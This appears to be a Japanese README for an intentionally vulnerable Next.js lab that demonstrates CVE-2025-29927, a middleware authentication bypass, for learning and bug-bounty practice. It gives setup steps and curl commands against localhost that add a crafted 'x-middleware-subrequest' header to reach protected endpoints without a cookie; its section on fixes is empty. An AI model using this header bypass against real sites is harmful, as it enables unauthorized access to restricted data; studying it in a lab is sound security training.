
意図的に脆弱性を持たせたNext.jsアプリケーションで、CVE-2025-29927(ミドルウェアベースの認証バイパス)を実証しています。学習やバグ報奨金プログラムの練習用です。
このリポジトリには、Next.js を使用して構築された意図的に脆弱なWebアプリケーションが含まれています。これは、CVE-2025-29927として知られるセキュリティ問題を実演し、研究するために設計されています。 このプロジェクトの目的は、セキュリティ研究者、学生、バグバウンティハンターが、実際の環境に近い状況で脆弱性がどのように機能するかを理解するのを助けることです。
[!CAUTION ] このアプリケーションは意図的に安全ではなく、本番環境にデプロイしてはなりません。
CVE-2025-29927は、特にミドルウェアにおいて、Next.jsで構築されたアプリケーションでのリクエストロジックの不適切な処理に関連しています。これにより、攻撃者は以下が可能になります。
git clone https://github.com/metasploit403/cve-2025-29927-lab
cd cve-2025-29927-lab
npm install
npm run dev
一部のルートは意図的に脆弱であり、以下を含む場合があります。
- /api/admin/secret
- /api/internal/health
- /api/private/data
これらのエンドポイントは、適切な認可なしではアクセスできないはずの制限されたリソースをシミュレートしています。
npm run dev http://localhost:3000 と入力します。- /api/admin/secret
- /api/internal/health
- /api/private/data
- http://localhost:3000/api/admin/secret
- http://localhost:3000/api/internal/health
- http://localhost:3000/api/private/data
リクエストがブロックされていることを確認します。これは、リクエストにcookieを含めていないためです。つまり、エンドポイントはミドルウェアによって保護されています。ミドルウェアはリクエストにcookieがあるかどうかをチェックし、ない場合は自動的にブロックされます。
では、リクエストにcookieを追加しましょう。これを行うには、ChromeのDevToolを開きます(ここではChromeブラウザを使用していますが、お好きなブラウザを使用できます)。
F12を押すと、Chrome DevToolが開きます。
コンソールタブに移動します。
コンソールタブで document.cookie="lab-auth=authenticated" と入力します。
次に、ページをリフレッシュし、ログインしていることを確認します。
ミドルウェアがリクエストにcookieが含まれているかどうかをチェックしていることに留意してください。リクエストにcookieがあれば正常にログインでき、なければブロックされます。 問題は、cookieを提供せずにミドルウェアチェックをバイパスしてログインするにはどうすればよいか、ということです。これがCVE-2025-29927の役割です。
では、CVE-2025-29927を使用してミドルウェアの認証チェックをバイパスしましょう。秘訣は、特定のヘッダーを追加することだけです。
x-middleware-subrequest: middleware。
このヘッダーは、フレームワークによって内部的にのみ使用されることを想定されています。これを追加すると、middlewareはリクエストにcookieがあるかどうかのチェックを停止し、アプリケーション内の機密エンドポイントは無防備になります。
これを悪用するには、cURLを使用しましょう。 curlは、リクエストをサーバーに送信し、応答を取得するためのコマンドラインツールです。
1.cookieなしで401を期待
curl.exe -i http://localhost:3000/api/admin/secret
サーバーがステータスコード307一時的リダイレクトで応答したことを確認します。cookieがないため、ホームページ/ルートページにリダイレクトされます。つまり、cookieを提供しない限りログインできません。
2.curl.exe -i http://localhost:3000/api/admin/secret -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
ここで "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" を追加しました。 cookieなしでログインにアクセスできたことを確認します。これは完全な認証バイパスです。
実際のアプリケーションでこのような問題を修正するには:
このプロジェクトは教育目的のみです。 所有していない、または明示的な許可を得ていないシステムでこれらの手法を使用しないでください。
自由にどうぞ:
これが役立つと思われたなら、リポジトリにスターを付けることを検討してください。
- Next.js
- バグバウンティ
- Webセキュリティ
- CVE-2025-29927
- ミドルウェア認証
- バイパス